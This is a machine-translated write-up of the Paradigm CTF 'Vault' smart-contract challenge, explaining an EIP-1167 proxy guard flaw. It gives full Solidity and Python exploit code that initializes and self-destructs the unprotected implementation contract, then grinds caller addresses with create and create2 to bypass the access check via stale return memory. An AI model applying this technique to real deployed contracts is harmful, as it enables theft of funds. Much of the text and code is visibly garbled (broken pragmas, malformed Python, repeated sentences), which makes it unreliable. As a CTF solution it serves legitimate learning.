Lot – the CTF coffers
This is Paradigm’s open capture the flag collection vault. The title was also written by Samczsun. I just learned the agency contract some time ago. This topic will analyze the loopholes of the agency contract and how to exploit the loopholes to break the contract. This article belongs to the original article, forwarding please contact the author. :fish:
The reference links for this article are as follows: smarx.com/posts/2021/…
Contract analysis
First of all, you can see that there are a lot of contracts given in this question, so you need to get to the point and sort out the relationship between the contracts. Don’t be intimidated by multiple contracts.
Simple analysis of individual files
GuardConstants.sol
=> defines two constantsGuard.sol
= > defineGuard
The interface consists of three interface functions:initialize(vault owner), cleanup() isAllowed(address,string)
GuardRegistry.sol
=> The purpose of the contract is the registered contractowner
Sign up for aGuard
Instance. Two methods are provided:RegisterGuardImplementation (address, bool) and transferOwnership (address)
, the first is to determine that only the owner of this Registered Contract has the right to register an instance of a Guard Contract with this registered Contract. The second option is to assign this registered contract to a new ownerSingleOwnerGuard.sol
=> Grant authentication, which provides implementations of the three interface functions in the Guard contract, and two other methods:AddPublicOperation (string), and the owner ()
The first is to allow the owner of the vault contract to add only publicly accessible method names. The second method is to return the owner of the vault contract.Vault.sol
=> Vault contract, functions to deposit tokens, withdraw tokens, create Guard agents, check permissions, update agents, emergency calls, etc. Functions are:createGuard(bytes32),checkAccess(string),updateGuard(bytes32),deposit(ERC20Lik,uint),withdarw(ERC20Like,uint),emergencyC all(address,bytes),transferOwnership(address),acceptOwnership()
A simple analysis of the relationship between the contracts reveals that the core is Vault. sol and SingleOwnerGuard.sol. Vault. sol creates a proxy contract using IP-1167 with createGuard(bytes32). From the point of the setup, the agency contract, in fact, the execution of the contract is singleOwnerGuard sol and vault contract deposit, withdraw, emergencyCall methods in internal call checkAccess method, IsAllowed (MSG. Sender, op) check whether MSG. Sender has the right to call these functions using the agent contract.
Now our goal is to become the owner of the vault contract, and then get all ETH in the vault contract
Agency Contract Analysis
function Setup() public {
registry = new GuardRegistry();
registry.registerGuardImplementation(new SingleOwnerGuard(), true);
vault = new Vault(registry);
SingleOwnerGuard guard = SingleOwnerGuard(vault.guard());
guard.addPublicOperation("deposit");
guard.addPublicOperation("withdraw");
}
Copy the code
We know that the agency contract using IP-1167 has the following characteristics:
- The agent contract has no constructor and needs the initialize() method to initialize it
- The agency contract copies only the open method of the remote contract.
In this case, when the Vault contract calls the checkAccess method, the agent contract is used to proxy the corresponding permission check execution logic to the singleOwnerGuard contract. The diagram below:
sequenceDiagram
Vault->>Guard: checkAccess(op)
alt delegateCall
Guard->>SingleOwnerGuard: guard.isAllowed(msg.sender, op)
end
alt return
SingleOwnerGuard->>Guard: return (PERMISSION_DENIED, 1)
end
Guard->>Vault: return (PERMISSION_DENIED)
Guard.initialize (this) method is used to initialize the agent contract. This method is used to initialize the agent contract. This method is used to initialize the agent contract.
We need to be clear here about the difference between initializing a contract using constructor() and using initialize() :
The biggest difference is that constructor() implements contract initialization only once, when the contract is created, and cannot be called again after the contract has been created. Contract initialization with initialize() can be called at any time. You need to write your own logic to ensure that the contract can only be initialized once. There is no guarantee that the method will not be called again. The root cause is that in the bytecode compiled by the contract, the constructor related bytecode is in init-code, not Runtime Code. The custom initialize() method exists in Runtime Code and can be called repeatedly.
In this case, the value of initialized is true to determine whether the global variable is initialized.
function initialize(Vault vault_) external {
require(! initialized); vault = vault_; initialized =true;
}
Copy the code
Idea 1:
In this case, the agent contract is initialized, but the remote contract SingleOwnerGuard is not. So we can initialize the remote contract and make it self-destruct, making the agent contract logic unenforceable and thus cheating the permission check.
pragma solidity 0.416.;
import "./Setup.sol";
contract FakeVault {
Setup setup;
function FakeVault (address _setup) public {
setup = Setup(_setup);
}
function exploit() public {
GuardRegistry registry = setup.registry();
// Get a remote contract
SingleOwnerGuard real_guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
real_guard.initialize(Vault(address(this)));
real_guard.cleanup();
}
function guard() public view returns (address){
return msg.sender;
}
function() external payable{}}Copy the code
sequenceDiagram FakeVault->>SingleOwnerGuard: exploit() SingleOwnerGuard->>FakeVault: selfdestruct() Vault->>Guard: checkAccess(op) alt delegateCall Guard->>SingleOwnerGuard: guard.isAllowed(msg.sender, op) end alt return SingleOwnerGuard->>Guard: STOP end Guard->>Vault: return (? .)
We need to find out what happens when vault’s checkAccess(op) function is called after the remote contract is selfdestruct
function checkAccess(string memory op) private returns (bool) {
uint8 error;
(error, ) = guard.isAllowed(msg.sender, op);
return error == NO_ERROR;
}
Copy the code
At this point, we need remix to help us
The first is the auxiliary contract, a token
pragma solidity 0.416.;
import "./Vault.sol";
contract Token is ERC20Like {
string public symbol;
string public name;
uint256 public decimals;
uint256 public totalSupply;
mapping(address= > uint256) balances;
mapping(address= > mapping(address= > uint256)) allowed;
event Transfer(address from, address to, uint256 value);
event Approval(address owner, address spender, uint256 value);
function Token() public {
symbol = "TKE";
name = "TOKEN";
decimals = 18;
totalSupply = uint(-1);
balances[msg.sender] = uint(-1);
}
function transfer(address dst, uint qty) public returns (bool) {
balances[dst] = balances[dst] + qty;
balances[msg.sender] = balances[msg.sender] - qty;
return true;
}
function transferFrom(address src, address dst, uint qty) public returns (bool){
balances[dst] = balances[dst] + qty;
balances[src] = balances[src] - qty;
return true; }}Copy the code
: triangular_FLAG_ON_POST: point 1: When the parameter is string, abi
When we debug the checkAccess(string memory op) function, we find that the parameters passed in directly, such as deposit, are encoded as follows:
0xf6cc55f900000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000 0000000000000000076465706f73697400000000000000000000000000000000000000000000000000
Where, 0xf6CC55F9 is the function signature of checkAccess(String Memory), followed by 0x20 is the offset of the string, followed by 0x07 is the length of the deposit encoded into ASCII, Finally is the left-aligned ASCII encoded parameter ‘deposit'(6465706f736974).
keccak256(abi.encode("checkAccess(string)")) = f6cc55f95086a0d4e4509e2950f374e76b4bcdf9271a87f5d7780c8b1bb576b6
Triangular_flag_on_post: Knowledge point 2: CALL CALL
Guard.isallowed (MSG. Sender, op); guard. IsAllowed (MSG. Sender, op);
function checkAccess(string memory op) private returns (bool) { uint8 error; (error, ) = guard.isAllowed(msg.sender, op); return error == NO_ERROR; } => assembly { let ptr := mload(0x40) //free_memory_ptr_value let args := encode(guard.isAllowed, caller(), Op) // Parameter code, [0xa0,0x124] MEM[PTR: PTR +len(args)] = args retlen = 2 Call (guard, / / target address 0 x0000000000000000000000008050bfa9a209d03c8a0a62790af4e0320e95cb2d PTR, //0x00000000000000000000000000000000000000000000000000000000000000a0 len(args), //0x0000000000000000000000000000000000000000000000000000000000000084 ptr, // 0x00000000000000000000000000000000000000000000000000000000000000a0 retlen //0x0000000000000000000000000000000000000000000000000000000000000040 ) error, code = MEM[ptr], MEM[ptr+1] }Copy the code
The following figure shows the stack structure and memory structure before the CALL is made.
Let’s use the CALL Beige Book to understand what stack structures mean:
Combined with the stack above, we can see:
You can see that the CALLDATA for calling the remote contract is the value of MEM[0xA0:0xA0 +0x84]
0xb94606320000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000 00000000000000004000000000000000000000000000000000000000000000000000000000000000076465706f736974000000000000000000000000 00000000000000000000000000
The CALLDATA of the method is stored in memory, and the return value is placed back into the memory address defined by the method. In versions of Solidity <0.5.0, the pointer to the location where the return value is stored points to the same memory address as the memory pointer for the parameter value. This is also the key to the problem of the explosive point.
There are two key points here:
- Call a contract that gets destroyed, it just executes the STOP OPCODE, not REVERT it
- When the return value is copied into memory, if the actual length of the return value is 0, then the actual length of the value copied into memory is also 0. CALL does not override memory values
Idea 2:
Because the return value let error := mload(0xA0) and if the length of the return value is 0, no value is actually written. So the simple idea is to make the value of error equal to NO_ERROR, so you can bypass the permission check and do whatever you want. Since the error type is Uint8, let’s see what the error value should be:
Let the error: = mload (0 xa0) / / the error = 0 xb94606320000000000000000000000005b38da6a701c568545dcfcb03fcb875f = > because The error type is Uint8, which is the right-most byte, where error = 0x5fCopy the code
As you can see, the actual value of the criterion error is the 16th-bit value of addr, so we can bypass the permission check by passing in an address with the 16th-bit NO_ERROR value.
Therefore, what we need to do now is to find an address whose 16th bit is 0x00, and use this address as the MSG. Sender to call the function, bypassing permission detection.
:fish: There are three ways to generate the address:
Generate a random private key offline, and then generate a public key based on the private key, and then regenerate the address:
from typing import Callable
from eth_account import Account
from eth_account.signers.local import LocalAccount
from web3 import Web3
def find_account(predicate: Callable[[LocalAccount], bool]) -> LocalAccount:
while True:
account = Account.create()
if predicate(account):
return account
def predicate(account: LocalAccount) - >bool:
contract_addr = Web3.soliditySha3(['bytes1'.'bytes1'.'address'.'bytes1'], ["0xd6"."0x94", account.address, "0x80"[])12:].hex(a)return contract_addr[-10: -8].lower() == "00"
account = find_account(predicate)
account.address
Copy the code
The create keyword is used online to generate new contract addresses repeatedly until the contract addresses meet the requirements
pragma solidity 0.416.;
import "./Setup.sol";
contract Caller {
function doit(Vault vault) public {
vault.emergencyCall(msg.sender, new bytes(0));
}
}
contract FakeVault {
address public owner;
address public pendingOwner;
GuardRegistry public registry;
Guard public guard;
Setup setup;
function FakeVault (address _setup) public {
setup = Setup(_setup);
}
function pre_exploit() public {
GuardRegistry registry = setup.registry();
// Get a remote contract
SingleOwnerGuard real_guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
real_guard.initialize(Vault(address(this)));
real_guard.cleanup();
}
function guard() public view returns (address){
return msg.sender;
}
function exploit() public {
Caller caller;
while (true) {
caller = new Caller();
if (bytes20(address(caller))[15] == hex'00') {
break;
}
}
caller.doit(setup.vault());
}
function() external payable{ owner = tx.origin; }}Copy the code
Create the contract address online using the create2 keyword, and know that the contract address meets the requirements
pragma solidity 0.416.;
import "./Setup.sol";
contract Caller {
function doit(Vault vault) public {
vault.emergencyCall(msg.sender, new bytes(0));
}
}
contract FakeVault {
address public owner;
address public pendingOwner;
GuardRegistry public registry;
Guard public guard;
Setup setup;
function FakeVault (address _setup) public {
setup = Setup(_setup);
}
function pre_exploit() public {
GuardRegistry registry = setup.registry();
// Get a remote contract
SingleOwnerGuard real_guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
real_guard.initialize(Vault(address(this)));
real_guard.cleanup();
}
function guard() public view returns (address){
return msg.sender;
}
function exploit() public {
Caller caller;
uint i = 0;
while (true) {
bytes memory bytecode = type(Caller).creationCode;
bytes32 salt = keccak256(abi.encode(i));
i = i + 1;
assembly {
caller := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
if (bytes20(address(caller))[15] == hex'00') {
break;
}
}
caller.doit(setup.vault());
}
function() external payable{ owner = tx.origin; }}Copy the code